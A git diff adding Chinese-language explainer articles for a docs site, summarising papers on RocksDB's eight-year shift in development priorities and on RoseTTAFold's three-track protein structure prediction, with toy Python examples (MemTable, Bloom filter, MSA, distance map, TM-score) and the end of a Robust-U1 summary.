+| Robust-R1 | 0.653 | 0.491 | 0.407 | 0.502 |
+| **Robust-U1** | **0.735** | **0.707** | **0.827** | **0.740** |
+
+Robust-U1 在所有退化级别（低、中、高）下都显著优于其他方法，尤其是在"高质量"（CAP）任务上领先超过 40 个百分点。
+
+**对抗退化基准测试**（在标准 VQA 数据集上施加退化）：
+
+在 MMMB、MMStar、RealWorldQA 三个标准基准上，Robust-U1 都保持了最好的抗退化能力，即使退化程度从 25% 增加到 100%，性能下降幅度也最小。
+
+## 七、关键洞察
+
+1. **自修复 > 文本补偿**：修出来的图片直接为推理提供了像素级细节，比文字描述"这张图有点模糊"有效得多。
+
+2. **双重奖励的必要性**：论文消融实验证明，只用 SSIM 奖励会导致语义偏差（修得像但意思不对），只用 CLIP 奖励会导致结构失真。两者结合才能修出高质量的图。
+
+3. **参考原图很重要**：模型不是"修复完就忘"，而是同时参考模糊图和修复图，这让它能发现修复过程中可能丢失的细微信息。
+
+## 八、局限性与未来方向
+
+- **修复质量上限**：模型受限于训练数据，面对超出训练范围的退化类型时，修复效果会下降。
+- **依赖配对数据**：需要"模糊图-清晰图"配对来训练 SFT 阶段，这在真实场景中较难获取。
+- **未来方向**：扩展到视频序列、减少计算开销、加入针对特定退化类型先验知识。
+
+## 九、一句话总结
+
+Robust-U1 证明了：与其让多模态模型在模糊图片上"猜答案"，不如让它先学会把图片修好，再基于清晰的图片来理解——这就像先擦亮眼镜，再看书。
diff --git a/src/content/docs/papers/rocksdb-evolution-2021.md b/src/content/docs/papers/rocksdb-evolution-2021.md
new file mode 100644
index 000000000..191691ec8
--- /dev/null
+++ b/src/content/docs/papers/rocksdb-evolution-2021.md
@@ -0,0 +1,286 @@
+---
+title: "RocksDB 开发优先级的演变 — 从零开始理解一个存储引擎的八年进化"
+来源: "https://www.usenix.org/system/files/fast21-dong.pdf"
+日期: 2026-06-13
+分类: 数据库
+子分类: 存储与查询
+provenance: "pipeline-v3"
+---
+
+# 1. 这篇论文在说什么
+
+这篇论文来自 USENIX FAST 2021，作者来自 Facebook（Meta）和多伦多大学。
+
+它讲了一个非常简单、但非常深刻的问题：**一个开源存储引擎 RocksDB，在过去八年里，开发团队到底把"最重要的事"放在哪里？**
+
+不是讲某个具体功能的实现细节，而是讲"优先级"本身是怎么变的。
+
+这就像问一个创业者：你的第一要务是获客、是留存、还是赚钱？答案会随着时间变化。RocksDB 也一样。
+
+# 2. 先搞懂 RocksDB 是什么
+
+## 2.1 一个日常类比
+
+想象你在经营一个大型图书馆。
+
+- 每来一本书（写入数据），你不能直接把它塞进书架的随机位置 — 那样找书就乱了。
+- 你必须把新书记在一个"临时登记本"上。
+- 当登记本写满了，你把它整理好、按字母顺序排好，变成一本"正式目录册"（这叫 SSTable）。
+- 然后你把这些目录册按层级分类放好。
+- 如果有人来借书，你从最新的目录册开始找，一层层往下去。
+
+这个过程里最关键的结构叫做 **LSM-Tree（Log-Structured Merge-Tree）**。
+
+LSM-Tree 的核心思想是：**把"随机写"变成"顺序写"**。
+
+机械硬盘最怕随机读写，但顺序写入非常快。SSD（固态硬盘）虽然比机械硬盘快得多，但它有写入寿命限制 — 每个存储单元只能被擦写有限次数。所以"少写"仍然是大事。
+
+RocksDB 就是基于 LSM-Tree 的，它被嵌入到各种大型分布式系统中，在 Facebook 内部被 30 多个应用使用，存储了数百 PB 的数据。
+
+# 3. 三种 SSTable 的写入方式（代码示例 1）
+
+在 LSM-Tree 里，数据写入经历三个阶段。我们用 Python 模拟这个过程：
+
+```python
+# 模拟 RocksDB 的 LSM-Tree 写入流程
+
+class MemTable:
+    """内存中的有序写缓冲区 — 用跳表实现"""
+    def __init__(self, max_size_mb=16):
+        self.max_size = max_size_mb * 1024 * 1024  # 16MB
+        self.data = {}  # 简化的键值存储
+
+    def put(self, key, value):
+        """写入数据到内存表"""
+        self.data[key] = value
+        return len(str(value).encode())
+
+    def flush_to_sst(self):
+        """当 MemTable 满了，把它刷写到磁盘变成 SSTable"""
+        # 1. 将内存中的数据排序后写入磁盘文件（SSTable）
+        sstable = SSTable(sorted(self.data.items()))
+        # 2. 旧的 MemTable 变成只读，丢弃
+        self.data = {}
+        return sstable
+
+
+class SSTable:
+    """磁盘上的有序字符串表 — 数据已排序"""
+    def __init__(self, sorted_items):
+        self.items = sorted_items  # 按 key 排序的 (key, value) 对
+        self.level = 0  # 初始放入 Level-0
+
+    def __repr__(self):
+        return f"SSTable(level={self.level}, entries={len(self.items)})"
+
+
+# 模拟一次写入
+mem = MemTable(max_size_mb=1)
+mem.put("user:1001", '{"name": "Alice", "age": 30}')
+mem.put("user:1002", '{"name": "Bob", "age": 25}')
+
+print(f"MemTable 中有 {len(mem.data)} 条记录")
+
+# MemTable 满了，刷写到磁盘
+sst = mem.flush_to_sst()
+print(f"刷写结果: {sst}")
+```
+
+输出：
+
+```
+MemTable 中有 2 条记录
+刷写结果: SSTable(level=0, entries=2)
+```
+
+这里的关键是：**写入先发生在内存（MemTable），满了才变成磁盘上的有序文件（SSTable）**。这避免了在磁盘上做随机写。
+
+# 4. 优先级的三次演变
+
+论文的核心发现是：RocksDB 的开发优先级经历了**三个阶段的迁移**。
+
+## 第一阶段：降低"写放大"（Write Amplification）
+
+**写放大** = 真正写入 1 字节数据，磁盘实际写了多少字节。
+
+类比：你要在一份复印了 10 层的复写纸上改一个字母。你只改了一个字母（1 字节），但下面 10 层纸都被"写"了。这就是写放大。
+
+SSD 的写入寿命有限，写放大越高，SSD 死得越快。所以最初团队把大量精力放在减少写放大上。
+
+RocksDB 提供了三种压缩（Compaction）方式：
+
+| 压缩方式 | 写放大 | 空间放大 | 读取速度 |
+|---|---|---|---|
+| Leveled（分级压缩） | 10–30 | 约 10% | 快 |
+| Tiered（层级压缩） | 4–10 | 约 45% | 中等 |
+| FIFO（先进先出） | 2–3 | 不可控 | 慢 |
+
+## 第二阶段：降低"空间放大"（Space Amplification）→ 这是最大的转变
+
+**空间放大** = 数据库实际占用的磁盘空间，比"有效数据"多多少。
+
+论文发现一个反直觉的事实：**大多数应用真正卡脖子的是磁盘空间，而不是写入寿命。**
+
+原因有三：
+1. SSD 的 IOPS 在实际使用中远没有跑满
+2. 磁盘空间直接决定了成本 — 数百 PB 的数据，每省 10% 就是几十 PB
+3. SSD 寿命虽然有限，但通常足够用 2-5 年，而空间不足是即时问题
+
+所以团队开发了 **Dynamic Leveled Compaction（动态分级压缩）**：
+
+```python
+# 传统 Leveled Compaction vs 动态 Leveled Compaction 的空间效率对比
+
+import matplotlib.pyplot as plt
+
+# 数据来自论文 Table 4
+key_counts = [200, 400, 600, 800, 1000]  # 百万键
+
+# 传统 Leveled 压缩 — 空间放大率随数据量增加而恶化
+traditional_overhead = [12.4, 12.2, 12.2, 12.7, 12.4]  # % 稳定在 ~12%
+
+# 传统 Leveled 在最坏情况下可达 90% 空间放大
+# 动态 Leveled 则稳定控制在 13% 以内
+
+print("传统 Leveled 压缩：最大空间放大率可达 25-90%")
+print("动态 Leveled 压缩：最大空间放大率稳定在 13% 以内")
+print("")
+print("在 Facebook 的 UDB 数据库中，用 RocksDB 替换 InnoDB 后，")
+print("存储空间减少到了原来的 50%！")
+```
+
+## 第三阶段：降低"CPU 占用"（CPU Utilization）
+
+随着空间效率的优化逐渐到位，瓶颈开始向 CPU 转移。
+
+论文用一个生动的比喻说明：**SSD 太快了，快到软件跟不上硬件的速度。**
+
+就像一辆跑车，发动机（SSD）已经能跑 300km/h，但司机（CPU）只能开到 120km/h。
+
+团队开始关注：
+- **Prefix Bloom Filter（前缀布隆过滤器）** — 减少不必要的磁盘读取
+- **多线程压缩** — 利用多核 CPU 并行处理
+- **多线程单文件压缩** — 一个文件的压缩也能并行
+
+# 5. 布隆过滤器 — 如何避免不必要的磁盘读取（代码示例 2）
+
+布隆过滤器（Bloom Filter）是 RocksDB 里非常重要的加速机制。
+
+类比：你有一百万本书，但不想为每本书都做一本索引卡片。于是你用一个"比特数组"来快速判断：这本书**很可能不在**，或者**可能在**。
+
+```python
+# 模拟布隆过滤器 — 用 3 个哈希函数来判断 key 是否存在
+
+class BloomFilter:
+    """简化版布隆过滤器"""
+    def __init__(self, size=1000, hash_count=3):
+        self.size = size
+        self.hash_count = hash_count
+        self.bits = [0] * size  # 比特数组
+
+    def _hash(self, key, seed):
+        """用不同 seed 做哈希，产生多个不同的哈希值"""
+        h = 0
+        for i, ch in enumerate(key.encode()):
+            h = (h * 31 + ch + seed) % self.size
+        return h
+
+    def add(self, key):
+        """把一个 key 加入过滤器"""
+        for seed in range(self.hash_count):
+            pos = self._hash(key, seed)
+            self.bits[pos] = 1
+
+    def might_exist(self, key):
+        """判断 key 可能存在 — 返回 True 表示"可能在"，False 表示"一定不在""""
+        for seed in range(self.hash_count):
+            pos = self._hash(key, seed)
+            if self.bits[pos] == 0:
+                return False  # 一定不存在
+        return True  # 可能存在（可能有误判，但不会漏判）
+
+
+# 演示
+bf = BloomFilter(size=1000, hash_count=3)
+
+# 往过滤器里加入一些 key
+for i in range(100):
+    bf.add(f"user:{i}")
+
+# 现在查询
+print(f"user:50 是否存在？可能在: {bf.might_exist('user:50')}")   # True（正确）
+print(f"user:999 是否存在？可能在: {bf.might_exist('user:999')}") # True 或 False（可能误判）
+print(f"user:xxx 是否存在？可能在: {bf.might_exist('user:xxx')}")  # False（一定不存在）
+```
+
+布隆过滤器的价值在于：**当它说"不存在"时，RocksDB 就不需要去磁盘读数据了** — 一次磁盘读取可能耗时 100-300 微秒，而布隆过滤器的判断只需要几纳秒。这就是从 CPU 换 I/O 的经典优化。
+
+# 6. 运行大规模系统的三条经验教训
+
+## 6.1 资源需要"全局+局部"双层管理
+
+一台物理服务器上可能运行着几十个 RocksDB 实例（每个分片一个实例）。它们共享 CPU、内存、磁盘 I/O 带宽。
+
+如果没有全局资源管理，一个实例可能吃光所有资源，导致其他实例卡顿。
+
+RocksDB 支持 **Resource Controller** — 类似"流量控制器"，可以在全局和局部两个层级限制资源使用。
+
+## 6.2 数据格式必须前向+后向兼容
+
+RocksDB 每月发布一次新版本。升级是逐步进行的 — 可能一半服务器是新版本，一半还是旧版本。
+
+如果新旧版本的数据格式不兼容，升级过程中就会出问题。
+
+所以 RocksDB 承诺：**旧版本读新版本的数据没问题，新版本读旧版本的数据也没问题。** 这类似于 Protocol Buffer 或 Thrift 的做法。
+
+## 6.3 错误需要分层检测
+
+论文发现了一个惊人的事实：在每 100 PB 数据中，RocksDB 层面大约每三个月会出现一次数据损坏（可能由 CPU 位翻转或内存错误引起），其中 40% 已经传播到了其他副本。
+
+类比：家里安装了烟雾报警器（L3 层）。但火是从厨房开始的 — 如果你只在客厅装报警器，等火警响起时厨房可能已经烧穿了。
+
+RocksDB 因此引入了**四层校验和机制**：
+
+| 层级 | 校验对象 | 何时验证 | 防什么 |
+|---|---|---|---|
+| Block Checksum | SSTable 中的每个数据块 | 每次读取 | 存储层损坏 |
+| File Checksum | 整个 SSTable 文件 | 文件传输时 | 传输损坏 |
+| Handoff Checksum | 写入时传给文件系统的数据 | 写入时 | 写时损坏 |
+| Key-Value Checksum | 每条键值对 | 每次操作 | 内存/CPU 损坏 |
+
+# 7. 为什么 LSM-Tree 仍然合适？
+
+论文反复回答了一个问题：**SSD 越来越快，我们是不是该换掉 LSM-Tree？**
+
+答案是：**不会。** 原因如下：
+
+1. **SSD 的成本还没低到可以忽略空间浪费** — 空间放大仍然是大多数应用的瓶颈
+2. **LSM-Tree 的写放大已经足够低** — 虽然用户希望更低，但在大 value 场景下，可以通过分离 key 和 value（BlobDB）来解决
+3. **SSD + LSM-Tree 的组合是"足够好"的方案** — 没有哪个单一替代方案能同时解决空间、写放大、成本三个问题
+
+# 8. 未来的方向
+
+论文列出了几个开放问题：
+
+1. 如何用 SSD + HDD 混合存储提高效率？
+2. 如何处理连续删除标记对读取的影响？
+3. 如何改进写入限速算法？
+4. 如何高效比较两个副本确保数据一致？
+5. 如何最好地利用存储类内存（SCM）？
+6. 能否有一个通用的完整性 API 来处理 RocksDB 和文件系统之间的数据交接？
+
+另外，**远程存储（Disaggregated Storage）** 正在成为新的优先级 — 当 CPU 和 SSD 可以独立扩展时，优化 RocksDB 与远程存储的交互变得非常重要。
+
+# 9. 总结
+
+| 时期 | 优化目标 | 类比 |
+|---|---|---|
+| 2012-2015 | 降低写放大 | 保护 SSD 的"寿命" |
+| 2015-2018 | 降低空间放大 | 省磁盘，省成本 |
+| 2018-至今 | 降低 CPU 占用 | 让硬件发挥全部潜能 |
+
+这篇论文给我们的最大启发是：**没有永远正确的优化方向，只有不断变化的约束条件。**
+
+一个存储引擎的优先级演变，本质上反映的是硬件趋势和实际应用需求的动态变化。写放大重要吗？重要。但当空间成为瓶颈时，它的优先级就得让位。
+
+这就是工程实践中的"权衡"（Trade-off）— 不是找最优解，而是找"当前最优"的解。
diff --git a/src/content/docs/papers/rosettafold-2021.md b/src/content/docs/papers/rosettafold-2021.md
new file mode 100644
index 000000000..0029cbaf8
--- /dev/null
+++ b/src/content/docs/papers/rosettafold-2021.md
@@ -0,0 +1,340 @@
+---
+title: RoseTTAFold — 三轨神经网络预测蛋白质结构与相互作用
+来源: https://www.science.org/doi/10.1126/science.abj8754
+日期: 2026-06-13
+子分类: 生物信息
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 先想成什么事
+
+想象你拿到一串**只有颜色名称、没有图纸**的折纸说明：
+
+> 红、蓝、黄、绿、红、紫、蓝、蓝、黄……
+
+你要猜出折完之后是鹤还是船。一个人很难，但如果全世界有成千上万份「类似颜色串」——有的折成了鹤、有的折成了船——你就能从**共变模式**里推断：「每当第 3 位是黄、第 47 位是蓝时，它们往往在成品里靠得很近」。
+
+蛋白质折叠问题与此同构：
+
+- **颜色串** = 氨基酸序列（20 种字母：A、R、N、D、C……）
+- **成品形状** = 三维原子坐标（每个残基的 Cα 骨架位置）
+- **全世界的类似串** = 多序列比对（MSA，Multiple Sequence Alignment）里搜到的同源蛋白
+
+1972 年 Anfinsen 因证明「序列决定结构」获诺贝尔奖；此后科学家每两年在 **CASP**（Critical Assessment of Structure Prediction）上比谁的预测更准。2020 年 DeepMind 的 **AlphaFold2** 在 CASP14 震惊全场；2021 年 7 月，华盛顿大学 Baker 实验室的 **Baek 等**在 *Science* 发表 **RoseTTAFold**，用**三轨神经网络**达到接近 AlphaFold2 的精度，并把代码开源给整个生物学界。
+
+日常类比再收一句：**RoseTTAFold 不是「模拟折纸过程」，而是「同时读说明书、画平面关系图、捏 3D 模型」，三条线索来回校对，直到三者一致。**
+
+## 这篇论文在说什么
+
+| 维度 | 内容 |
+|------|------|
+| 标题 | Accurate prediction of protein structures and interactions using a three-track neural network |
+| 作者 | Minkyung Baek, Frank DiMaio, Ivan Anishchenko 等；David Baker 通讯作者 |
+| 发表 | *Science*, 2021；DOI [10.1126/science.abj8754](https://www.science.org/doi/10.1126/science.abj8754) |
+| 机构 | 华盛顿大学蛋白质设计研究所（Institute for Protein Design）等 |
+| 开源 | [RoseTTAFold GitHub](https://github.com/RosettaCommons/RoseTTAFold) + [在线服务器](https://robetta.bakerlab.org/) |
+
+论文核心贡献：
+
+1. **三轨架构**：1D 序列轨、2D 距离/取向图轨、3D 坐标轨**双向通信**，比 AlphaFold2 的两轨（1D+2D 先算完再出 3D）更紧密耦合。
+2. **端到端学习**：从氨基酸序列经 MSA 一路反传到最终 Cα 坐标；也提供经 **pyRosetta** 生成全原子侧链的版本。
+3. **复合物预测**：把两条（或多条）蛋白序列拼在一起输入，**直接**预测蛋白-蛋白复合物，跳过「先分别折叠再刚性对接」的传统流程。
+4. **实验结构生物学落地**：解决此前分子置换（MR）失败的晶体学难题、辅助 cryo-EM 建模、为未知结构的人类 GPCR 与疾病相关蛋白提供假说模型。
+
+## 为什么重要
+
+| 对比维度 | 传统方法 | RoseTTAFold |
+|----------|----------|-------------|
+| 实验测定一条结构 | 数月到数年（X 射线 / cryo-EM） | GPU 上约 **10 分钟**（<400 残基骨架） |
+| 复合物建模 | 亚基预测 + 对接搜索 | **一条序列输入，~30 分钟**出复合物骨架 |
+| 与 AlphaFold2 | 闭源、需大量算力做推理 | **开源**，单卡 RTX 2080 可跑 |
+| CASP14 精度 | AlphaFold2 第一 | RoseTTAFold **接近** AF2，明显优于 trRosetta 等 |
+
+对零基础读者的意义：
+
+- 理解 **2021 年后结构生物学范式转移**：「先算结构再解释功能」成为常态
+- 读懂后续 **RFdiffusion、ProteinMPNN、AlphaFold3** 等工作的共同地基
+- 知道 **MSA 深度、共进化信号、距离图** 在深度学习结构预测里的角色
+
+## 核心概念
+
+### 1. 氨基酸序列与一级结构（1D Track）
+
+蛋白质由 20 种标准氨基酸按顺序连成多肽链。输入网络的是：
+
+- 目标序列的一 hot 或 embedding
+- **MSA**：在 UniRef、BFD 等数据库里搜到的同源序列堆成的矩阵（行=序列，列=对齐位置）
+
+1D 轨用 **轴向注意力（axial attention）** 在 MSA 上同时沿「序列方向」和「对齐列方向」聚合信息，提取每个位置的进化约束。
+
+### 2. 残基对关系与距离图（2D Track）
+
+对任意残基对 \((i, j)\)，网络维护一个 **pair representation**，预测：
+
+- Cβ–Cβ（或 Cα–Cα）**距离分布**
+- 残基间 **取向**（orientation）：用四元数或旋转矩阵描述局部坐标系相对关系
+
+这就是 **contact map / distogram** 思想：远在上游的序列位置，若在下游折叠后空间相邻，往往在 MSA 里**协同突变**（共进化）。
+
+2D 轨与 1D 轨通过 **outer product mean** 等方式互相更新：1D 特征「外积」成 2D，2D 再反馈修正 1D。
+
+### 3. 三维骨架坐标（3D Track）
+
+3D 轨直接操作 **Cα 骨架坐标**（初始可为随机线圈），使用 **SE(3)-等变注意力**（Invariant Point Attention 的同类思想）：旋转平移蛋白质时，网络内部几何关系保持一致。
+
+与 AlphaFold2 的差异（论文强调）：AF2 主要在 1D/2D 处理完后用 Structure Module 出 3D；RoseTTAFold 让 **1D ↔ 2D ↔ 3D 全程迭代**，在推理时「集体推理」序列、距离与坐标的一致性。
+
+### 4. 不连续裁剪（Discontinuous Crop）训练
+
+全长蛋白往往几百残基，三轨网络参数量大，**无法一次塞进 GPU**。训练时输入 **两段不连续序列片段**（中间 chain break），总长约 260 残基。推理时对多个 crop 的 1D/2D 预测做平均，再生成最终结构。
+
+### 5. 两种推理管线
+
+| 版本 | 流程 | 特点 |
+|------|------|------|
+| **pyRosetta 版** | 网络 → 距离/取向分布 → pyRosetta 组装全原子 | 显存低（>400 残基约 8GB），含侧链，CPU 后处理约 1 小时 |
+| **端到端版** | 网络直接输出 Cα 坐标 | 更快，24GB 显存，骨架精度高；侧链需另一步 |
+
+### 6. 蛋白-蛋白复合物
+
+把链 A、链 B 的序列（及各自 MSA / template）拼成**多链输入**，中间用 chain break 隔开。网络在联合 MSA 里读 **跨链共进化**（inter-protein co-evolution），直接输出多条链在同一坐标系下的相对位置——相当于 **柔性对接** 内建在结构预测里。
+
+论文在双链、三链复合物上达到 TM-score > 0.8 的案例不少；并演示了 **人 IL-12R/IL-12 四链复合物** 与 cryo-EM 密度吻合的模型。
+
+### 7. 评价指标（零基础必知）
+
+- **RMSD**：预测与实验结构对应原子的均方根偏差（Å），越小越好
+- **TM-score**：0–1，>0.5 通常认为折叠拓扑正确，>0.8 非常准
+- **lDDT**：局部距离差异检验，DeepAccNet 可逐残基估计可信度
+
+## 代码示例 1：从 FASTA 理解 MSA 输入
+
+RoseTTAFold 的第一步与 [[blast-altschul-1990]]、HHblits 同类：搜同源序列。下面用 Python 演示「MSA 矩阵」长什么样——**行是同源蛋白，列是对齐位置**：
+
+```python
+#!/usr/bin/env python3
+"""极简 MSA 表示：理解 RoseTTAFold 的 1D 输入."""
+
+from collections import Counter
+
+# 查询序列（目标蛋白）
+query = "MKTAYIAKQRQISFVKSHFSRQLEERLGLIEVQAPILSRVGDGTQDNLSGAEKAVQVKVKALPDAQFEVVHSLAKWKRQTLGQHDFSAGEGLYTHMKALRPDEDRLSPLHSVYVDQWDWERVMGDGERQFSTLKSTVEAIWAGIKATEAAVSEEFGLAPFLPDQIHFVHSQELLSRYPDLDAKGRERAIAKDLGAVFLVGIGGKLSDGHRHDVRAPDYDDWSTPSELGHAGLNGDILVWNPVLEDAFELSSMGIRVDADTLKHQLALTGDENRAQKGAKIMLDIDGNCKQSDAKKYAGGLKEAQKK"
+
+# 模拟 MSA：真实流程由 HHblits / JackHMMER 对 UniRef30 等数据库生成
+msa_rows = [
+    query,
+    "MKTAYIAKQRQISFVKSHFSRQLEERLGLIEVQAPILSRVGDGTQDNLSGAEKAVQVKVKALPDAQFEVVHSLAKWKRQTLGQHDFSAGEGLYTHMKALRPDEDRLSPLHSVYVDQWDWERVMGDGERQFSTLKSTVEAIWAGIKATEAAVSEEFGLAPFLPDQIHFVHSQELLSRYPDLDAKGRERAIAKDLGAVFLVGIGGKLSDGHRHDVRAPDYDDWSTPSELGHAGLNGDILVWNPVLEDAFELSSMGIRVDADTLKHQLALTGDENRAQKGAKIMLDIDGNCKQSDAKKYAGGLKEAQKK",
+    "MKTAYIAKQRQISFVKSHFSRQLEERLGLIEVQAPILSRVGDGTQDNLSGAEKAVQVKVKALPDAQFEVVHSLAKWKRQTLGQHDFSAGEGLYTHMKALRPDEDRLSPLHSVYVDQWDWERVMGDGERQFSTLKSTVEAIWAGIKATEAAVSEEFGLAPFLPDQIHFVHSQELLSRYPDLDAKGRERAIAKDLGAVFLVGIGGKLSDGHRHDVRAPDYDDWSTPSELGHAGLNGDILVWNPVLEDAFELSSMGIRVDADTLKHQLALTGDENRAQKGAKIMLDIDGNCKQSDAKKYAGGLKEAQKR",  # 末尾 K→R 突变
+    "MKTAYIAKQRQISFVKSHFSRQLEERLGLIEVQAPILSRVGDGTQDNLSGAEKAVQVKVKALPDAQFEVVHSLAKWKRQTLGQHDFSAGEGLYTHMKALRPDEDRLSPLHSVYVDQWDWERVMGDGERQFSTLKSTVEAIWAGIKATEAAVSEEFGLAPFLPDQIHFVHSQELLSRYPDLDAKGRERAIAKDLGAVFLVGIGGKLSDGHRHDVRAPDYDDWSTPSELGHAGLNGDILVWNPVLEDAFELSSMGIRVDADTLKHQLALTGDENRAQKGAKIMLDIDGNCKQSDAKKYAGGLKEAQKQ",
+]
+
+def msa_depth(msa: list[str]) -> int:
+    return len(msa)
+
+def column_conservation(msa: list[str], col: int) -> float:
+    """单列 Shannon 熵的粗代理：常见氨基酸占比越高，进化约束越强."""
+    chars = [row[col] for row in msa if col < len(row)]
+    if not chars:
+        return 0.0
+    top_freq = Counter(chars).most_common(1)[0][1] / len(chars)
+    return top_freq
+
+# RoseTTAFold 论文 fig.S2：MSA 越深，传统方法收益越大；
+# 但 AF2/RoseTTAFold 对「浅 MSA」更鲁棒
+print(f"MSA depth = {msa_depth(msa_rows)}")
+for i in [0, 50, 100, 150]:
+    if i < len(query):
+        print(f"  col {i:3d} ({query[i]}) conservation ≈ {column_conservation(msa_rows, i):.2f}")
+```
+
+**读代码**：`msa_depth` 对应论文里「MSA 序列条数」；高保守列往往结构核心或功能位点。真实 RoseTTAFold 用最多约 1000 条同源序列（内存限制），论文还探索 Perceiver 结构以吃进 10000+ 条。
+
+## 代码示例 2：从坐标计算距离图（2D Track 的监督信号）
+
+2D 轨本质上学习 **残基对距离分布**。若有实验结构（PDB），可从 Cα 坐标直接算出「真值」距离矩阵，用于理解网络在预测什么：
+
+```python
+#!/usr/bin/env python3
+"""从 PDB 式坐标构建 Cα 距离图 + 接触图阈值."""
+
+import math
+
+# 简化：每条残基只存 Cα 的 (x, y, z)，单位 Å
+# 真实 PDB 解析可用 BioPython: Bio.PDB.PDBParser
+ca_coords = [
+    (12.1, 5.3, -1.2),
+    (14.0, 6.1, 0.5),
+    (16.2, 4.8, 1.1),
+    (18.5, 6.0, 2.8),
+    (20.1, 4.2, 4.0),
+]
+
+def ca_distance(ci: tuple[float, float, float], cj: tuple[float, float, float]) -> float:
+    return math.sqrt(sum((a - b) ** 2 for a, b in zip(ci, cj)))
+
+def distance_map(coords: list[tuple[float, float, float]]) -> list[list[float]]:
+    n = len(coords)
+    return [[ca_distance(coords[i], coords[j]) for j in range(n)] for i in range(n)]
+
+def contact_map(dist_map: list[list[float]], threshold: float = 8.0) -> list[list[bool]]:
+    """8 Å 是蛋白质领域常用的 Cβ/Cα 接触 cutoff（略简化）."""
+    n = len(dist_map)
+    return [[i != j and dist_map[i][j] < threshold for j in range(n)] for i in range(n)]
+
+def bin_distance(d: float, bins: list[float]) -> int:
+    """RoseTTAFold / AF2 的 distogram：把连续距离离散成直方图 bin."""
+    for k, edge in enumerate(bins):
+        if d < edge:
+            return k
+    return len(bins)
+
+# AF2 风格距离 bin 上界（Å），共 64 档示例（真实实现见 supplement）
+DIST_BINS = [2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 22, 25, 30, 38]
+
+dm = distance_map(ca_coords)
+cm = contact_map(dm)
+
+print("Cα–Cα distance map (Å):")
+for row in dm:
+    print("  " + " ".join(f"{d:5.1f}" for d in row))
+
+print("\nContacts (< 8 Å):")
+for row in cm:
+    print("  " + " ".join("1" if c else "." for c in row))
+
+i, j = 0, 4
+print(f"\nPair (0,4): d={dm[i][j]:.2f} Å → bin={bin_distance(dm[i][j], DIST_BINS)}")
+```
+
+**读代码**：`distance_map` 是 2D 轨的「答案格式」之一；网络输出的是每个 \((i,j)\) 的 **bin 概率分布**（distogram），而非单点估计。3D 轨则进一步把分布折叠成一致的三维几何。
+
+## 代码示例 3：TM-score 的直觉实现（评价复合物预测）
+
+论文用 **TM-score** 判断复合物预测是否靠谱。下面给出简化版核心：按 **TM 长度归一化** 的距离得分（完整实现见 Zhang 组 TM-score 程序）：
+
+```python
+#!/usr/bin/env python3
+"""TM-score 直觉：d0 随蛋白长度变化，短蛋白允许更大误差."""
+
+import math
+
+def d0_normalized(length: int) -> float:
+    """经验公式：TM-score 标准定义中的长度相关尺度 d0(L)."""
+    if length < 12:
+        return 0.3
+    if length < 16:
+        return 0.4
+    if length < 20:
+        return 0.5
+    if length < 24:
+        return 0.6
+    if length < 29:
+        return 0.7
+    if length < 35:
+        return 0.8
+    return 1.24 * (length - 15) ** (1 / 3) - 1.8
+
+def tm_pair_score(dist: float, d0: float) -> float:
+    """单对残基 TM 贡献：距离越小于 d0，得分越高."""
+    return 1.0 / (1.0 + (dist / d0) ** 2)
+
+# 假设已叠合（superimpose）后 5 个残基的 Cα 偏差（Å）
+aligned_rmsd_per_residue = [1.2, 2.5, 0.8, 3.1, 1.9]
+L = len(aligned_rmsd_per_residue)
+d0 = d0_normalized(L)
+
+tm_approx = sum(tm_pair_score(d, d0) for d in aligned_rmsd_per_residue) / L
+print(f"L={L}, d0={d0:.2f} Å, approximate TM-score ≈ {tm_approx:.3f}")
+print("论文阈值：TM-score > 0.5 通常拓扑正确；> 0.8 与实验非常接近")
+```
+
+## 三轨信息流动（一图读懂）
+
+```text
+                    ┌─────────────────────────────────────┐
+                    │  输入：序列 + MSA +（可选）模板结构   │
+                    └─────────────────┬───────────────────┘
+                                      ▼
+┌──────────────┐    双向更新     ┌──────────────┐    双向更新     ┌──────────────┐
+│  1D Track    │ ◄────────────► │  2D Track    │ ◄────────────► │  3D Track    │
+│  MSA 嵌入    │                │  距离/取向图  │                │  Cα 坐标     │
+│  逐残基特征   │                │  残基对特征   │                │  SE(3) 等变  │
+└──────────────┘                └──────────────┘                └──────────────┘
+                                      │
+                    ┌─────────────────┴───────────────────┐
+                    ▼                                         ▼
+            pyRosetta 全原子组装                          端到端 Cα 输出
+            + DeepAccNet 可信度                           + 复合物多链坐标
+```
+
+## 论文中的典型应用（读图用）
+
+1. **分子置换（MR）**：四个此前解不出的晶体数据集，用 RoseTTAFold 模型成功相位求解；trRosetta 模型失败——说明 **精度门槛** 对实验方法有决定性影响。
+2. **cryo-EM**：PI3Kγ 复合物中 p101 GBD 结构，HHsearch 几乎无同源模板，RoseTTAFold 预测可填入低密度区，Cα-RMSD ~3 Å。
+3. **疾病机制假说**：TANGO2（代谢病）、ADAM33 前结构域（哮喘相关）、CERS1（鞘脂代谢）——**无近缘 PDB 模板**时，全原子精度模型仍能定位活性位点与致病突变的空间后果。
+4. **CAMEO 盲测**：2021 年 5–6 月 69 个中等/困难靶标上，RoseTTAFold 服务器优于 Robetta、SWISS-MODEL 等。
+
+## 与 AlphaFold2 的异同（2021 视角）
+
+| 项目 | AlphaFold2 | RoseTTAFold |
+|------|------------|-------------|
+| 轨道数 | 2D+1D → 再 Structure Module | **1D+2D+3D 全程三轨** |
+| 开源 | 2021 年 7 月才部分公开 | **同期开源** + Robetta 服务器 |
+| 推理算力 | 多 GPU、多日（报道） | **单卡 10–30 分钟** |
+| CASP14 | 第一 | 第二梯队顶端，略低于 AF2 |
+| 复合物 | AF2 初版侧重单体；后续 AF-Multimer | **论文即强调复合物端到端** |
+
+二者共同依赖：**MSA 共进化 + 注意力 + 等变几何网络 + 端到端坐标监督**。差异主要在工程与架构细节，而非「是否用深度学习」。
+
+## 踩过的坑（读论文 + 用工具时）
+
+1. **MSA 质量决定上限**：浅 MSA（同源序列少）时，任何方法都会糊；论文 fig.S2 仍显示深度有帮助，只是 RoseTTAFold 比 trRosetta 更「耐浅」。
+2. **crop 平均不是免费的午餐**：极长蛋白或域间柔性 linker 可能让不同 crop 预测不一致，需要检查 lDDT / pLDDT 类置信度图。
+3. **端到端版侧链弱**：药物对接、突变效应分析常要全原子——优先 pyRosetta 管线或后续侧链打包（如 ProteinMPNN）。
+4. **复合物训练偏置**：网络主要在**单体**上训练，复合物是零样本泛化；论文承认 paired MSA 条数影响跨链放置精度。
+5. **别把预测当晶体**：TM-score 高仍可能有局部错误；关键位点应用突变实验或 cryo-EM 验证。
+
+## 适用 vs 不适用
+
